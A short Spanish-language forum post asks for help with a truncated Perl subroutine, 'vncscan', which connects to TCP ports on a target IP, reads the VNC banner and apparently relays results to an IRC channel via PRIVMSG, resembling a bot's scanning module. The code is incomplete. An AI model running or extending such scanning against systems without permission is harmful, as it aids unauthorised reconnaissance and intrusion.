Hola, gente.
Tengo el siguiente código, para buscar posible puertos abiertos y crear conexiones.
sub vncscan {
my ($ip) = (shift);
my $ok = 0;
for ( ; $i < 13; $i++ ) {
$SIG{ALRM} = sub { print "alarm\n"; };
my $vnc = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $ip, PeerPort => $port, Type => SOCK_STREAM );
alarm(2);
if (<$vnc>) {
my $info = <$vnc>;
print $socket "PRIVMSG $temp ...